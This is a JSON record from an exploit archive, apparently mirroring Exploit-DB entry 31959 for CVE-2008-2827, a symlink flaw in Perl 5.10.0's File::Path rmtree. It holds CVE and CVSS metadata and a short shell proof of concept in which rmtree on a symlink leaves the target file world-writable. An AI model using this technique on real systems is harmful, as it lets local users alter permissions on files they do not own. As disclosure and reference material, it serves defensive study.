{"exploit":{"id":"EDB-31959","name":"Perl 5.10.0 - 'rmtree()' Function Local Insecure Permissions","description":"Perl 5.10.0 - 'rmtree()' Function Local Insecure Permissions","cves":["CVE-2008-2827"],"author":"Frans Pop","published":"2008-06-23","platform":"linux","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/31959","path":"exploits/linux/local/31959.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-31959.txt","vulnerabilities":[{"id":"CVE-2008-2827","state":"PUBLISHED","title":null,"titleSource":null,"description":"The rmtree function in lib/File/Path.pm in Perl 5.10 does not properly check permissions before performing a chmod, which allows local users to modify the permissions of arbitrary files via a symlink attack, a different vulnerability than CVE-2005-0448 and CVE-2004-0452.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2827","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2827"},"updatedAt":"2024-08-07T09:14:14.805Z","retrievedAt":"2026-11-27T09:06:39.324Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-31959.png?v=2","url":"https://exploitbin.com/exploits/EDB-31959","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-31959/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-31959/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2008/https://www.securityfocus.com/bid/29902/info\n\nComputers running Perl are prone to a local vulnerability that occurs when handling symbolic links.\n\nAttackers can leverage this issue to change the permissions of arbitrary files.\n\nPerl 5.10.0 is vulnerable; other versions may also be affected.\n\n----------------------------------------\n\n% touch foo\n% ln -s foo bar\n% ls -l foo bar\nlrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo\n-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo\n% perl -e 'use File::Path rmtree; rmtree bar'\n% ls -l foo bar\nls: cannot access bar: No such file or directory\n-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo","sha256":"8f84113bc9b8e101879082c5349fd06625c1e8c21b74ae023f5cb6c620aea107","bytes":693,"fetchedAt":"2026-11-27T09:06:36.139Z","encoding":"utf-8 (display only; download retains original bytes)"}